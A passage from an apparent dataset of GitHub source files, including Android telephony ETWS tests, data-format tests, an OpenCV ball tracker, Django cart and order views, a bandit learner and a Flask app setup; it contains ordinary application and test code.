self.ad.droid.telephonyToggleDataConnection(False)\n preferred_network_setting = NETWORK_MODE_GSM_ONLY\n rat_family = RAT_FAMILY_GSM\n elif rat == RAT_1XRTT:\n preferred_network_setting = NETWORK_MODE_CDMA\n rat_family = RAT_FAMILY_CDMA2000\n else:\n self.log.error(\"No valid RAT provided for ETWS test.\")\n return False\n\n if not ensure_network_rat(\n self.log,\n self.ad,\n preferred_network_setting,\n rat_family,\n toggle_apm_after_setting=True):\n self.log.error(\n \"Failed to set rat family {}, preferred network:{}\".format(\n rat_family, preferred_network_setting))\n return False\n\n self.anritsu.wait_for_registration_state()\n if not etws_receive_verify_message_lte_wcdma(\n self.log, self.ad, self.anritsu,\n next(TelLabEtwsTest.SERIAL_NO), message_id,\n warning_message):\n self.log.error(\"Phone {} Failed to receive ETWS message\"\n .format(self.ad.serial))\n return False\n except AnritsuError as e:\n self.log.error(\"Error in connection with Anritsu Simulator: \" +\n str(e))\n return False\n except Exception as e:\n self.log.error(\"Exception during ETWS send/receive: \" + str(e))\n return False\n return True\n\n def test_carrier_tmobile(self):\n \"\"\" Sets the Carrier to TMO.\n Returns: None\n \"\"\"\n setattr(self.ad, \"sim_card\", \"FiTMO\")\n\n def test_carrier_sprint(self):\n \"\"\" Sets the Carrier to SPR.\n Returns: None\n \"\"\"\n setattr(self.ad, \"sim_card\", \"FiSPR\")\n\n def test_carrier_uscc(self):\n \"\"\" Sets the Carrier to USCC.\n Returns: None\n \"\"\"\n setattr(self.ad, \"sim_card\", \"FiUSCC\")\n\n \"\"\" Tests Begin \"\"\"\n\n @test_tracker_info(uuid=\"af4a00d0-9a91-45d5-9f65-9541e64a57f2\")\n @TelephonyBaseTest.tel_test_wrap\n def test_etws_earthquake_tsunami_lte(self):\n \"\"\"ETWS Earthquake and Tsunami warning message reception on LTE\n\n Tests the capability of device to receive and inform the user\n about the ETWS Earthquake and Tsunami warning message when camped on\n LTE newtork\n\n Steps:\n 1. Make Sure Phone is camped on LTE network\n 2. Send ETWS Earthquake and Tsunami warning message from Anritsu\n\n Expected Result:\n Phone receives ETWS Earthquake and Tsunami warning message\n\n Returns:\n True if pass; False if fail\n \"\"\"\n return self._send_receive_etws_message(set_system_model_lte, RAT_LTE,\n ETWS_WARNING_EARTHQUAKETSUNAMI,\n \"LTE Earthquake and Tsunami\")\n\n @test_tracker_info(uuid=\"03785878-0319-413c-9190-d4e08f0edc33\")\n @TelephonyBaseTest.tel_test_wrap\n def test_etws_other_emergency_lte(self):\n \"\"\"ETWS Other emergency warning message reception on LTE\n\n Tests the capability of device to receive and inform the user\n about the ETWS Other emergency warning message when camped on\n LTE newtork\n\n Steps:\n 1. Make Sure Phone is camped on LTE network\n 2. Send ETWS Earthquake and Tsunami warning message from Anritsu\n\n Expected Result:\n Phone receives ETWS Earthquake and Tsunami warning message\n\n Returns:\n True if pass; False if fail\n \"\"\"\n return self._send_receive_etws_message(set_system_model_lte, RAT_LTE,\n ETWS_WARNING_OTHER_EMERGENCY,\n \"LTE ETWS Other Emergency\")\n\n @test_tracker_info(uuid=\"1ef4a5d7-9ceb-49eb-8ec7-5538625c8bd4\")\n @TelephonyBaseTest.tel_test_wrap\n def test_etws_earthquake_tsunami_wcdma(self):\n \"\"\"ETWS Earthquake and Tsunami warning message reception on WCDMA\n\n Tests the capability of device to receive and inform the user\n about the ETWS Earthquake and Tsunami warning message when camped on\n WCDMA newtork\n\n Steps:\n 1. Make Sure Phone is camped on WCDMA network\n 2. Send ETWS Earthquake and Tsunami warning message from Anritsu\n\n Expected Result:\n Phone receives ETWS Earthquake and Tsunami warning message\n\n Returns:\n True if pass; False if fail\n \"\"\"\n return self._send_receive_etws_message(\n set_system_model_wcdma, RAT_WCDMA, ETWS_WARNING_EARTHQUAKETSUNAMI,\n \"WCDMA Earthquake and Tsunami\")\n\n @test_tracker_info(uuid=\"71dc9650-d00a-4533-99f5-5cc301c21334\")\n @TelephonyBaseTest.tel_test_wrap\n def test_etws_other_emergency_wcdma(self):\n \"\"\"ETWS Other emergency warning message reception on WCDMA\n\n Tests the capability of device to receive and inform the user\n about the ETWS Other emergency warning message when camped on\n WCDMA newtork\n\n Steps:\n 1. Make Sure Phone is camped on WCDMA network\n 2. Send ETWS Earthquake and Tsunami warning message from Anritsu\n\n Expected Result:\n Phone receives ETWS Earthquake and Tsunami warning message\n\n Returns:\n True if pass; False if fail\n \"\"\"\n return self._send_receive_etws_message(\n set_system_model_wcdma, RAT_WCDMA, ETWS_WARNING_OTHER_EMERGENCY,\n \"WCDMA ETWS Other Emergency\")\n\n @test_tracker_info(uuid=\"a9fd9c0e-21bf-41d1-81d2-c34679052fe0\")\n @TelephonyBaseTest.tel_test_wrap\n def test_etws_earthquake_tsunami_gsm(self):\n \"\"\"ETWS Earthquake and Tsunami warning message reception on GSM\n\n Tests the capability of device to receive and inform the user\n about the ETWS Earthquake and Tsunami warning message when camped on\n GSM newtork\n\n Steps:\n 1. Make Sure Phone is camped on GSM network\n 2. Send ETWS Earthquake and Tsunami warning message from Anritsu\n\n Expected Result:\n Phone receives ETWS Earthquake and Tsunami warning message\n\n Returns:\n True if pass; False if fail\n \"\"\"\n return self._send_receive_etws_message(set_system_model_gsm, RAT_GSM,\n ETWS_WARNING_EARTHQUAKETSUNAMI,\n \"GSM Earthquake and Tsunami\")\n\n @test_tracker_info(uuid=\"0ae42f8d-1720-449c-9200-e88f7f1d2cbe\")\n @TelephonyBaseTest.tel_test_wrap\n def test_etws_other_emergency_gsm(self):\n \"\"\"ETWS Other emergency warning message reception on GSM\n\n Tests the capability of device to receive and inform the user\n about the ETWS Other emergency warning message when camped on\n GSM newtork\n\n Steps:\n 1. Make Sure Phone is camped on GSM network\n 2. Send ETWS Earthquake and Tsunami warning message from Anritsu\n\n Expected Result:\n Phone receives ETWS Earthquake and Tsunami warning message\n\n Returns:\n True if pass; False if fail\n \"\"\"\n return self._send_receive_etws_message(set_system_model_gsm, RAT_GSM,\n ETWS_WARNING_OTHER_EMERGENCY,\n \"GSM ETWS Other Emergency\")\n\n \"\"\" Tests End \"\"\"\n","repo_name":"rickdynasty/Aosp11","sub_path":"tools/test/connectivity/acts_tests/tests/google/tel/lab/TelLabEtwsTest.py","file_name":"TelLabEtwsTest.py","file_ext":"py","file_size_in_byte":12446,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"91"}
+{"seq_id":"25772370672","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nfrom treecat.format import export_rows\nfrom treecat.format import guess_schema\nfrom treecat.format import import_data\nfrom treecat.format import import_rows\nfrom treecat.format import load_data\nfrom treecat.format import load_schema\nfrom treecat.format import pd_outer_join\nfrom treecat.format import pickle_dump\nfrom treecat.format import pickle_load\nfrom treecat.testutil import TESTDATA\nfrom treecat.testutil import assert_equal\nfrom treecat.testutil import tempdir\n\nDATA_CSV = os.path.join(TESTDATA, 'tiny_data.csv')\nTYPES_CSV = os.path.join(TESTDATA, 'tiny_types.csv')\nVALUES_CSV = os.path.join(TESTDATA, 'tiny_values.csv')\nGROUPS_CSV = os.path.join(TESTDATA, 'tiny_groups.csv')\n\nEXAMPLE_DATA = [\n u'foo',\n [1, 2, 3],\n {\n u'foo': 0\n },\n np.array([[0, 1], [2, 3]], dtype=np.int8),\n]\n\n\n@pytest.mark.parametrize('data', EXAMPLE_DATA)\n@pytest.mark.parametrize('ext', ['pkz', 'jz'])\ndef test_pickle(data, ext):\n with tempdir() as dirname:\n filename = os.path.join(dirname, 'test.{}'.format(ext))\n pickle_dump(data, filename)\n actual = pickle_load(filename)\n assert_equal(actual, data)\n\n\ndef test_pd_outer_join():\n dfs = [\n pd.DataFrame({\n 'id': [0, 1, 2, 3],\n 'a': ['foo', 'bar', 'baz', np.nan],\n 'b': ['panda', 'zebra', np.nan, np.nan],\n }),\n pd.DataFrame({\n 'id': [1, 2, 3, 4],\n 'b': ['mouse', np.nan, 'tiger', 'egret'],\n 'c': ['toe', 'finger', 'nose', np.nan],\n }),\n ]\n expected = pd.DataFrame({\n 'id': [0, 1, 2, 3, 4],\n 'a': ['foo', 'bar', 'baz', np.nan, np.nan],\n 'b': ['panda', 'zebra', np.nan, 'tiger', 'egret'],\n 'c': [np.nan, 'toe', 'finger', 'nose', np.nan],\n }).set_index('id')\n actual = pd_outer_join(dfs, on='id')\n print(expected)\n print(actual)\n assert expected.equals(actual)\n\n\ndef test_guess_schema():\n with tempdir() as dirname:\n types_csv_out = os.path.join(dirname, 'types.csv')\n values_csv_out = os.path.join(dirname, 'values.csv')\n guess_schema(DATA_CSV, types_csv_out, values_csv_out)\n expected_types = open(TYPES_CSV).read()\n expected_values = open(VALUES_CSV).read()\n actual_types = open(types_csv_out).read()\n actual_values = open(values_csv_out).read()\n assert actual_types == expected_types\n assert actual_values == expected_values\n\n\ndef test_load_schema():\n load_schema(TYPES_CSV, VALUES_CSV, GROUPS_CSV)\n\n\ndef test_load_data():\n schema = load_schema(TYPES_CSV, VALUES_CSV, GROUPS_CSV)\n load_data(schema, DATA_CSV)\n\n\ndef test_import_data():\n with tempdir() as dirname:\n dataset_out = os.path.join(dirname, 'dataset.pkz')\n assert not os.path.exists(dataset_out)\n import_data(DATA_CSV, TYPES_CSV, VALUES_CSV, GROUPS_CSV, dataset_out)\n assert os.path.exists(dataset_out)\n\n\ndef test_export_import_rows():\n schema = load_schema(TYPES_CSV, VALUES_CSV, GROUPS_CSV)\n data = load_data(schema, DATA_CSV)\n print(schema['feature_index'])\n print(data)\n rows = export_rows(schema, data)\n assert len(rows) == data.shape[0]\n actual_data = import_rows(schema, rows)\n print(actual_data)\n assert np.all(actual_data == data)\n","repo_name":"posterior/treecat","sub_path":"treecat/format_test.py","file_name":"format_test.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"91"}
+{"seq_id":"26262440259","text":"#!/usr/bin/env python\n\n\nimport numpy as np\nimport cv2\n\ndef filter_color(rgb_image, Lower_bound, Upper_bound):\n hsv_image = cv2.cvtColor(rgb_image, cv2.COLOR_BGR2HSV)\n #cv2.imshow(\"HSV Image\", hsv_image)\n\n mask = cv2.inRange(hsv_image, Lower_bound, Upper_bound)\n\n return mask\n\ndef getContours(binary_image):\n contours, hierarchy = cv2.findContours(binary_image.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n return contours\n\ndef draw_ball(binary_image, rgb_image, contours):\n black_image = np.zeros([binary_image.shape[0], binary_image.shape[1],3],'uint8')\n\n for c in contours:\n area = cv2.contourArea(c)\n perimeter= cv2.arcLength(c, True)\n ((x, y), radius) = cv2.minEnclosingCircle(c)\n if (area>1000):\n cv2.drawContours(rgb_image, [c], -1, (150,250,150), 1)\n cv2.drawContours(black_image, [c], -1, (150,250,150), 1)\n cx, cy = contour_center(c)\n cv2.circle(rgb_image, (cx,cy),(int)(radius),(0,0,255),1)\n cv2.circle(black_image, (cx,cy),(int)(radius),(0,0,255),1)\n cv2.circle(black_image, (cx,cy),5,(150,150,255),-1)\n print (\"Area: {}, Perimeter: {}\".format(area, perimeter))\n print (\"number of contours: {}\".format(len(contours)))\n cv2.imshow(\"RGB Image Contours\",rgb_image)\n cv2.imshow(\"Black Image Contours\",black_image)\n\ndef contour_center(contour):\n M = cv2.moments(contour)\n cx=-1\n cy=-1\n if (M['m00']!=0):\n cx= int(M['m10']/M['m00'])\n cy= int(M['m01']/M['m00'])\n return cx, cy\n\ndef ball_tracking(frame):\n YellowLower = (30,150,100)\n YellowUpper = (50,255,255)\n rgb_image = frame\n binary_image_mask = filter_color(rgb_image,YellowLower,YellowUpper)\n contours = getContours(binary_image_mask)\n draw_ball(binary_image_mask,rgb_image,contours)\n\n\ndef main():\n \n #video_capture = cv2.VideoCapture(0)\n video_capture = cv2.VideoCapture('/home/darsh/catkin_ws/src/ball_tracking/src/video/tennis-ball-video.mp4')\n \n while(True):\n ret, frame = video_capture.read()\n ball_tracking(frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Darshshah23/Ball-Tracking-using-ROS","sub_path":"src/ball_tracking.py","file_name":"ball_tracking.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"37797391429","text":"from PIL import Image\nfrom cassandra.auth import PlainTextAuthProvider\nfrom getpass import getpass\nfrom tqdm import tqdm\nimport io\nimport numpy as np\nimport os\nimport uuid\nimport yaml\nfrom cassandradl import CassandraWriter\n\n\ndef get_data(path):\n img = Image.open(path).convert(\"RGB\")\n # resize and crop to 224x224\n tg = 224\n sz = np.array(img.size)\n min_d = sz.min()\n sc = float(tg) / min_d\n new_sz = (sc * sz).astype(int)\n img = img.resize(new_sz)\n off = (new_sz.max() - tg) // 2\n if new_sz[0] > new_sz[1]:\n box = [off, 0, off + tg, tg]\n else:\n box = [0, off, tg, off + tg]\n img = img.crop(box)\n # save to stream\n out_stream = io.BytesIO()\n img.save(out_stream, format=\"JPEG\")\n # write to db\n out_stream.flush()\n data = out_stream.getvalue()\n return data\n\n\ndef save_images(cassandra_ip, cass_user, cass_pass):\n auth_prov = PlainTextAuthProvider(cass_user, cass_pass)\n\n def ret(jobs):\n cw = CassandraWriter(\n auth_prov,\n [cassandra_ip],\n table_ids=\"isic.ids_224\",\n table_data=\"isic.data_224\",\n table_metadata=\"isic.metadata_224\",\n id_col=\"patch_id\",\n label_col=\"label\",\n data_col=\"data\",\n cols=[\"or_split\", \"or_label\"],\n get_data=get_data,\n )\n for path, label, partition_items in tqdm(jobs):\n cw.save_image(path, label, partition_items)\n\n return ret\n\n\ndef get_jobs(src_dir):\n fn = \"isic_classification_2018.yml\"\n fn = os.path.join(src_dir, fn)\n print(\"Reading YAML file...\", flush=True)\n with open(fn, \"r\") as f:\n isic = yaml.safe_load(f)\n print(\"Resizing and inserting in DB...\", flush=True)\n jobs = []\n labels = dict(enumerate(isic[\"classes\"]))\n labels = {v: k for k, v in labels.items()}\n for or_split in isic[\"split\"].keys():\n for num in isic[\"split\"][or_split]:\n item = isic[\"images\"][num]\n or_label = item[\"label\"]\n label = labels[or_label]\n partition_items = (or_split, or_label)\n path = os.path.join(src_dir, item[\"location\"])\n jobs.append((path, label, partition_items))\n return jobs\n","repo_name":"fversaci/CassandraDL","sub_path":"examples/isic_2018/isic_common.py","file_name":"isic_common.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"72600951022","text":"import torch\r\nfrom model import resnet152\r\nfrom PIL import Image\r\nfrom torchvision import transforms\r\nimport matplotlib.pyplot as plt\r\nimport json\r\n\r\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n\r\ndata_transform = transforms.Compose(\r\n [transforms.Resize(256),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor(),\r\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]) # 预处理\r\n\r\n# load image\r\nimg = Image.open(\"H:/鸟类数据集/train/ABBOTTS BABBLER/001.jpg\") # 导入需要检测的图片\r\nplt.imshow(img)\r\n# [N, C, H, W]\r\nimg = data_transform(img)\r\n# expand batch dimension\r\nimg = torch.unsqueeze(img, dim=0)\r\n\r\n# read class_indict\r\ntry:\r\n json_file = open('./class_indices.json', 'r')\r\n class_indict = json.load(json_file)\r\nexcept Exception as e:\r\n print(e)\r\n exit(-1)\r\n\r\n# create model\r\nmodel = resnet152(num_classes=400) # 修改为你训练时一共的种类数\r\n# load model weights\r\nmodel_weight_path = \"./resNet152.pth\" # 导入训练好的模型\r\nmodel.load_state_dict(torch.load(model_weight_path, map_location=device))\r\nmodel.eval()\r\n# predict_list = []\r\nwith torch.no_grad(): # 不对损失梯度进行跟踪\r\n # predict class\r\n output = torch.squeeze(model(img)) # 压缩batch维度\r\n predict = torch.softmax(output, dim=0) # 得到概率分布\r\n predict_cla = torch.argmax(predict).numpy() # argmax寻找最大值对应的索引\r\n # predict_list.append(predict.tolist()[0])\r\nprint(class_indict[str(predict_cla)], predict[predict_cla].numpy())\r\nplt.show()\r\n","repo_name":"xia1jiao/11","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"35900462778","text":"class Solution:\n # APP1: for loop of 32.\n # Time: O(1) Space: O(1) Runtime: 50%\n def reverseBits(self, n: int) -> int:\n res = 0\n for _ in range(32):\n res = (res << 1) + (n & 1)\n n = n >> 1\n return res\n\n # APP2: reverse to the correct pos directly\n # Time: O(1) space: O(1) Runtime: 80%\n def reverseBits(self, n: int) -> int:\n res, power = 0, 31\n while n:\n res += (n & 1) << power\n n = n >> 1\n power -= 1\n return res","repo_name":"ruifengli-cs/leetcode","sub_path":"Bit manipulation/190. Reverse Bits.py","file_name":"190. Reverse Bits.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"17022118014","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.utils.crypto import get_random_string\n\nfrom kitap.models import Category, Kitap\nfrom home.models import Setting, UserProfile\nfrom order.models import ShopCartForm, ShopCart, OrderForm, Order, OrderProduct\n\n\ndef index(request):\n return HttpResponse(\"Order App\")\n\n@login_required(login_url='/login')\ndef addtocart(request,id):\n url=request.META.get('HTTP_REFERER')\n current_user=request.user\n\n checkproduct=ShopCart.objects.filter(product_id=id)\n if checkproduct:\n control=1\n else:\n control=0\n if request.method=='POST':\n form=ShopCartForm(request.POST)\n if form.is_valid():\n if control==1:\n data=ShopCart.objects.get(product_id=id)\n data.quantity+=form.cleaned_data['quantity']\n data.save()\n else:\n data = ShopCart()\n data.user_id = current_user.id\n data.product_id = id\n data.quantity=form.cleaned_data['quantity']\n data.save()\n request.session['cart_items'] = ShopCart.objects.filter(user_id=current_user.id).count()\n messages.success(request,\"Ürün başarı ile sepete eklenmiştir.Teşekkür Ederiz\")\n return HttpResponseRedirect(url)\n else:\n if control == 1:\n data = ShopCart.objects.get(product_id=id)\n data.quantity +=1\n data.save()\n else:\n data=ShopCart()\n data.user_id=current_user.id\n data.product_id=id\n data.quantity=1\n data.save()\n request.session['cart_items'] = ShopCart.objects.filter(user_id=current_user.id).count()\n messages.success(request,\"Ürün başarı ile sepete eklenmiştir.Teşekkür Ederiz\")\n return HttpResponseRedirect(url)\n messages.warning(request,\"Ürün sepete eklemede hata oluştu.Lütfen kontrol ediniz\")\n return HttpResponseRedirect(url)\n\n@login_required(login_url='/login')\ndef shopcart(request):\n category=Category.objects.all()\n current_user=request.user\n setting = Setting.objects.get(pk=1)\n shopcart=ShopCart.objects.filter(user_id=current_user.id)\n request.session['cart_items'] = ShopCart.objects.filter(user_id=current_user.id).count()\n\n total = 0\n for rs in shopcart:\n total+= rs.product.fiyat*rs.quantity\n context={'category':category,\n 'shopcart':shopcart,\n 'setting':setting,\n 'total' : total,\n }\n return render(request,'Shopcart_products.html',context)\n\n@login_required(login_url='/login')\ndef deletefromcart(request,id):\n category=Category.objects.all()\n setting = Setting.objects.get(pk=1)\n ShopCart.objects.filter(id=id).delete()\n current_user=request.user\n request.session['cart_items'] = ShopCart.objects.filter(user_id=current_user.id).count()\n messages.success(request, \"Ürün sepetten silinmiştir\")\n context={'category':category,\n 'setting': setting,\n\n }\n return HttpResponseRedirect(\"/shopcart\",context)\n\n@login_required(login_url='/login')\ndef orderproduct(request):\n category = Category.objects.all()\n current_user=request.user\n shopcart=ShopCart.objects.filter(user_id=current_user.id)\n total=0\n for rs in shopcart:\n total += rs.product.fiyat * rs.quantity\n\n if request.method =='POST':\n form = OrderForm(request.POST)\n\n if form.is_valid():\n data = Order()\n data.first_name=form.cleaned_data['first_name']\n data.last_name = form.cleaned_data['last_name']\n data.address=form.cleaned_data['address']\n data.city=form.cleaned_data['city']\n data.phone=form.cleaned_data['phone']\n data.user_id=current_user.id\n data.total=total\n data.ip=request.META.get('REMOTE_ADDR')\n ordercode=get_random_string(5).upper()\n data.code=ordercode\n data.save()\n\n #move shopcrt items for order products items\n shopcart=ShopCart.objects.filter(user_id=current_user.id)\n for rs in shopcart: #schopcart\n detail=OrderProduct()\n detail.order_id =data.id\n detail.product_id =rs.product_id\n detail.user_id =current_user.id\n detail.quantity =rs.quantity\n detail.fiyat =rs.product.fiyat\n detail.stok_durum =rs.stok_durum\n detail.save()\n\n # ***************< Reduce >***************#\n product = Kitap.objects.get(id=rs.product_id)\n product.stok_durum -= rs.quantity\n product.save()\n #***************<^^^^^^^^^^>***************#\n\n ShopCart.objects.filter(user_id=current_user.id).delete()\n request.session['cart_items']=0\n messages.success(request,\"Your order has been completed , thank you!\" )\n return render(request,\"Order_Complated.html\",{'ordercode':ordercode,'category':category})\n else:\n messages.warning(request,form.errors)\n return HttpResponseRedirect(\"/order/orderproduct\")\n\n\n\n form = OrderForm()\n profile = UserProfile.objects.get(user_id=current_user.id)\n context = {'shopcart':shopcart,# hoca Schopcart yazmis\n 'category': category,\n 'total': total,\n 'profile': profile,\n 'form':form,\n }\n\n return render(request,'Order_Form.html',context)","repo_name":"maga62/DjangoKitap","sub_path":"order/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"13888305755","text":"import os\nfrom datetime import datetime\n\nimport humanize\n\n\ndef file_properties(path):\n \"\"\"Return the name, modification time and size of a file.\n\n args:\n path (str or Path): path to file of interest\n\n returns:\n (dict): file properties with keys \"name\", \"mtime\" and \"file_size\"\n \"\"\"\n stats = os.stat(path)\n return dict(\n name=path.name,\n mtime=humanize.naturaltime(datetime.fromtimestamp(stats.st_mtime)),\n file_size=humanize.naturalsize(stats.st_size),\n )\n","repo_name":"ImperialCollegeLondon/champ","sub_path":"main/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"}
+{"seq_id":"8637102796","text":"from UCB1_Learner import *\n\n\nclass SWUCB1_Learner(UCB1_Learner):\n\n def __init__(self, n_arms, margins, window_size, classes=[]):\n \"\"\"\n Initialization of SWUCB1\n :param n_arms: number of arms\n :param margins: margins vector\n :param window_size: the size of the sliding window\n :param classes: classes that are learned\n :self.sample_timestamp = for each arm: array of timestamps when the arm was pulled\n \"\"\"\n super().__init__(n_arms, margins)\n self.window_size = window_size\n self.sample_timestamp = [[] for _ in range(n_arms)]\n self.classes = classes\n # print(self.window_size)\n\n def pull_arm(self):\n \"\"\"\n Selection of the arm:\n We select the index of the arm with the maximum bound\n (in case of ties we choose randomly)\n :return: the pulled arm\n \"\"\"\n # if self.t < self.n_arms:\n # return self.t\n\n # for i in range(0, self.n_arms):\n # if len(self.samples_per_arm[i]) == 0:\n # return i\n\n margin_bounds = self.bounds * self.margins\n idxs = np.argwhere(margin_bounds == margin_bounds.max()).reshape(-1)\n pulled_arm = np.random.choice(idxs)\n return pulled_arm\n\n def update2(self, pulled_arm, reward):\n \"\"\"\n Function that update the parameters of the pulled arm\n :param pulled_arm: the selected arm\n :param reward: the associated reward\n \"\"\"\n self.update_observations(pulled_arm, reward)\n\n # if self.t < self.n_arms:\n # self.bounds[pulled_arm] = 0\n # else:\n # n_rounds_arm = len(self.samples_per_arm[pulled_arm][-self.window_size:])\n # windowed_mean = np.mean(self.samples_per_arm[pulled_arm][-self.window_size:])\n # self.bounds[pulled_arm] = windowed_mean + np.sqrt(2 * np.log(self.t + 1) / n_rounds_arm)\n\n n_rounds_arm = len(self.samples_per_arm[pulled_arm][-self.window_size:])\n windowed_mean = np.mean(self.samples_per_arm[pulled_arm][-self.window_size:])\n\n self.bounds[pulled_arm] = windowed_mean + np.sqrt(2 * np.log(self.t + 1) / n_rounds_arm)\n\n self.t += 1\n\n def update(self, pulled_arm, reward):\n \"\"\"\n Update of the bound of the selected arm\n :param pulled_arm: the selected arm\n :param reward: the reward\n \"\"\"\n\n # if self.t > self.window_size:\n # print(\"ok\")\n\n # 1. Move the window (discard old samples for all the arms)\n self.sample_timestamp[pulled_arm].append(self.t)\n for i in range(0, self.n_arms):\n if len(self.sample_timestamp[i]) > 0:\n while self.sample_timestamp[i][0] < (self.t - self.window_size):\n self.sample_timestamp[i] = self.sample_timestamp[i][1:]\n self.samples_per_arm[i] = self.samples_per_arm[i][1:]\n # print(i, self.sample_timestamp[i])\n # print(i, self.samples_per_arm[i])\n if len(self.sample_timestamp[i]) == 0:\n break\n\n # 2. Update the confidence bounds of all the arms since the window has been moved\n self.update_observations(pulled_arm, reward)\n\n for i in range(0, self.n_arms):\n if len(self.sample_timestamp[i]) == 0:\n self.bounds[i] = 1000\n else:\n n_rounds_arm = len(self.samples_per_arm[i])\n windowed_mean = np.mean(self.samples_per_arm[i])\n self.bounds[i] = windowed_mean+np.sqrt(2*np.log(self.t+1)/n_rounds_arm)\n\n self.t += 1\n","repo_name":"lucabonali/PricingDia","sub_path":"SWUCB1_Learner.py","file_name":"SWUCB1_Learner.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"39554017923","text":"import json\nimport datetime\nfrom collections import Iterable\nfrom logging.config import dictConfig\nfrom bson import ObjectId\nfrom flask import Flask, request, jsonify\nfrom werkzeug.exceptions import HTTPException\nfrom flask_log_request_id import RequestID\nfrom eclogue.config import config\nfrom eclogue.middleware import Middleware\nfrom eclogue.api import router_v1\nfrom eclogue.api.routes import routes\nfrom eclogue.scheduler import scheduler\nfrom eclogue.lib.logger import get_logger\nfrom eclogue.model import Model\nfrom flask_socketio import SocketIO\n\nsocketio = SocketIO(async_mode='gevent')\n\n\ndef json_parser(o):\n if hasattr(o, '__dict__'):\n return o.__dict__()\n # if hasattr(o, 'to_dict')\n if isinstance(o, Model):\n return o.__dict__()\n if isinstance(o, ObjectId):\n return str(o)\n if isinstance(o, datetime.datetime):\n return str(o)\n if isinstance(o, bytes):\n return o.decode('utf8')\n if isinstance(o, Iterable):\n return list(o)\n # return list(map(json_parser, o))\n\nclass JSONEncoder(json.JSONEncoder):\n # extend json-encoder class\n def default(self, o):\n res = json_parser(o)\n return res if res else json.JSONEncoder.default(self, o)\n\n\ndef create_app(schedule=True):\n dictConfig(config.logging)\n # root_path = os.path.join(config.home_path, 'public')\n root_path = config.home_path\n\n app = Flask(__name__, root_path=root_path, static_folder='public', static_url_path='')\n app.json_encoder = JSONEncoder\n app.config.from_object(config)\n app.config['LOG_REQUEST_ID_LOG_ALL_REQUESTS'] = True\n RequestID(app=app)\n Middleware(app)\n bp = router_v1(routes)\n app.register_blueprint(bp)\n # app.register_blueprint(static())\n if schedule:\n scheduler.start()\n socketio.init_app(app=app, cors_allowed_origins='*')\n import eclogue.socket\n # api.add_resource(Menus, '/menus')\n\n @app.route('/', methods=['get'])\n def index():\n return app.send_static_file('index.html')\n\n @app.errorhandler(404)\n def not_found(error):\n return jsonify({\n 'message': 'not found',\n 'code': 404,\n 'error': str(error)\n }), 404\n\n @app.errorhandler(500)\n def server_error(error):\n\n return jsonify({\n 'message': 'server error',\n 'code': 500,\n 'error': str(error)\n }), 500\n\n @app.errorhandler(405)\n def metho_not_allow(error):\n return jsonify({\n 'message': 'method not allow',\n 'code': 405,\n 'error': str(error)\n }), 405\n\n @app.errorhandler(HTTPException)\n def handle_exception(e):\n \"\"\"Return JSON instead of HTML for HTTP errors.\"\"\"\n # start with the correct headers and status code from the error\n # replace the body with JSON\n log_info = {\n \"code\": e.code,\n \"title\": e.name,\n \"description\": e.description,\n }\n get_logger().error('api server error %s' % e.description, extra=log_info)\n\n return jsonify({\n 'code': 500,\n 'message': 'api server error'\n })\n\n return app\n\n\n__version__ = '0.0.1'\n","repo_name":"eclogue/eclogue","sub_path":"eclogue/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"91"}
+{"seq_id":"70563766702","text":"from dependency_injector import containers, providers\nfrom dependency_injector.ext import aiohttp as ext_aiohttp\n\nfrom app.game.controllers import (\n get_last_session_info,\n start_session,\n complete_stage,\n close_session_due_to_failure,\n cancel_session,\n get_leaderboard,\n compare_images\n)\nfrom app.game.repositories import PlayerRepository\nfrom app.game.services import ImageComparator\nfrom app.game.transformer import PlayerTransformer, LeaderboardTransformer\n\n\nclass GamePackageContainer(containers.DeclarativeContainer):\n\n mappers = providers.DependenciesContainer()\n\n config = providers.Configuration()\n\n application_utils = providers.DependenciesContainer()\n\n # services\n\n image_comparator = providers.Factory(\n ImageComparator,\n deepai_api_url=config.deepai.api_url,\n deepai_api_key=config.deepai.api_key,\n logger=application_utils.logger\n )\n\n # transformers\n\n player_transformer = providers.Singleton(PlayerTransformer)\n\n leaderboard_transformer = providers.Singleton(\n LeaderboardTransformer,\n player_transformer=player_transformer\n )\n\n # repositories\n\n player_repository = providers.Singleton(\n PlayerRepository,\n user_mapper=mappers.user_mapper,\n session_mapper=mappers.session_mapper\n )\n\n # controllers\n\n get_last_session_info = ext_aiohttp.View(\n get_last_session_info,\n player_repository=player_repository,\n 